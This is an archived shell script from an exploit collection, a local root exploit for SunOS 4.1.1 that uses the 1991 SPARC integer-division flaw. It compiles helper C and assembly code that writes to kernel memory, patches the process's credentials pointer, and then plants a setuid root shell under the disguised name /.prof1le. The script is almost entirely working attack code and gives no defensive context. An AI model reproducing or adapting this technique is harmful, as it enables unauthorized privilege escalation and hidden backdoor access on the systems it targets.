home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / floatingpoint.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  1KB  |  55 lines

  1. #!/bin/sh
  2. #
  3. #**************************************************************************
  4. #   HACK: Exploit floating point problems in SunOS 4.1.1
  5. #   CERT: CA-91:16.SunOS.SPARC.Integer_Division.vulnerability 09/18/91
  6. # System: Sun OS 4.1.1 (? 4.1.2)
  7. #**************************************************************************
  8.  
  9.  
  10. PID=$$
  11. TMPDIR=/tmp/.tmp$PID
  12. SUIDSH=/.prof1le
  13.  
  14. mkdir $TMPDIR
  15. cd $TMPDIR
  16.  
  17. cat > mulc.c <<EOF
  18. main(argc,argv) char *argv[];{
  19.     wrmem(strtol(argv[1],0,0), strtol(argv[2],0,0));
  20. }
  21. EOF
  22. cat > muls.s <<EOF
  23. .globl _wrmem
  24.  
  25. _wrmem: mov     %o0, %g2
  26.         mov     %o1, %g3
  27.         save    %sp, -0x40, %sp
  28.         save    %sp, -0x40, %sp
  29.         save    %sp, -0x40, %sp
  30.         save    %sp, -0x40, %sp
  31.         save    %sp, -0x40, %sp
  32.         save    %sp, -0x40, %sp
  33.         mov     %g2, %sp
  34.         umul    %g3, 1, %l0
  35. EOF
  36. cc -o mul mulc.c muls.s -ldl
  37.  
  38.  
  39. TMPFILE=$TMPDIR/PROCP$$
  40.  
  41. # Find proc pointer.
  42. cat <<EOF | dc | tr 'A-Z' 'a-z' >$TMPFILE
  43. 16o 16i
  44. 4C `/etc/pstat -u $$ | grep procp | cut -f2 | tr 'a-z' 'A-Z'` + p
  45. EOF
  46. read PROCP <$TMPFILE
  47. SADR=`nm /vmunix | grep ' intstack' |cut -d' ' -f1`
  48. ./mul 0x${SADR} 0x10000
  49. ./mul 0x${PROCP} 0x${SADR}
  50. cp /bin/sh $SUIDSH; chmod 4755 $SUIDSH  
  51. echo -n "Id = "
  52. whoami
  53. ( sleep 5; rm -rf $TMPDIR ) &
  54. cp /bin/sh $SUIDSH; chmod 4755 $SUIDSH
  55. #                 www.hack.co.za           [2000]#